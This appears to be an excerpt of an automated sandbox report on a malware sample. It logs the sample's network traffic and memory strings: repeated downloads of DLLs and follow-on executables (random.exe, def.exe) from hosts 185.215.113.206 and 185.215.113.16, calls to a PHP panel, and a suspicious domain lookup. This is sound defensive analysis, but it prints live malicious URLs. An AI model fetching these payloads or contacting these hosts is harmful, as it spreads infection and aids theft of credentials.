Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Wed, 13 Nov 2024 17:05:35 GMTIf-None-Match: "6734dc5f-1b3c00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: frogmen-smell.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

DoH DNS queries detected: name: assets.msn.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 0f2c5625b4.exe, 00000018.00000003.3162518940.0000000001524000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 0f2c5625b4.exe, 00000018.00000002.3229335017.00000000012FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0cN
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe4
Source: 0f2c5625b4.exe, 00000018.00000003.3162518940.0000000001524000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exera
Source: 0f2c5625b4.exe, 00000018.00000003.3162518940.0000000001524000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 0f2c5625b4.exe, 0000001C.00000002.3274100974.0000000000F9A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe5
Source: e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllw
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllu
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll3
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllU
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllM
Source: e88687d065.exe, 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/E
Source: e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/M
Source: file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/N&
Source: 0f2c5625b4.exe, 0000001C.00000003.3245279935.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/UUC:
Source: e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/W2v
Source: e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%
Source: e88687d065.exe, 00000019.00000002.2922940562.0000000001136000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: e88687d065.exe, 00000019.00000002.2922940562.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/4
Source: e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/r
Source: e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php001
Source: e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php02
Source: 0f2c5625b4.exe, 0000001C.00000002.3284622093.0000000005D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: e88687d065.exe, 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1-573d1d5ce43f
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpI
Source: file.exe, 00000000.00000002.2539790734.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpKKJDBK.exeata;
Source: e88687d065.exe, 00000019.00000002.2922940562.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: e88687d065.exe, 0000001F.00000002.3086404346.000000000113D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpT=z
Source: e88687d065.exe, 00000019.00000002.2922940562.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpY
Source: e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phps1
Source: e88687d065.exe, 0000001F.00000002.3086404346.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phptG
Source: e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: e88687d065.exe, 00000019.00000002.2922940562.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpz
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/h1
Source: e88687d065.exe, 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/l
Source: e88687d065.exe, 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/q
Source: e88687d065.exe, 00000019.00000002.2922940562.0000000001136000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2063
Source: e88687d065.exe, 0000001F.00000002.3086404346.00000000010EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206eG
Source: file.exe, 00000000.00000002.2539790734.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2566595123.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2565197524.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Reporting and NEL.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 7ae91bba-1566-480d-aabc-ae99802a967f.tmp.9.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
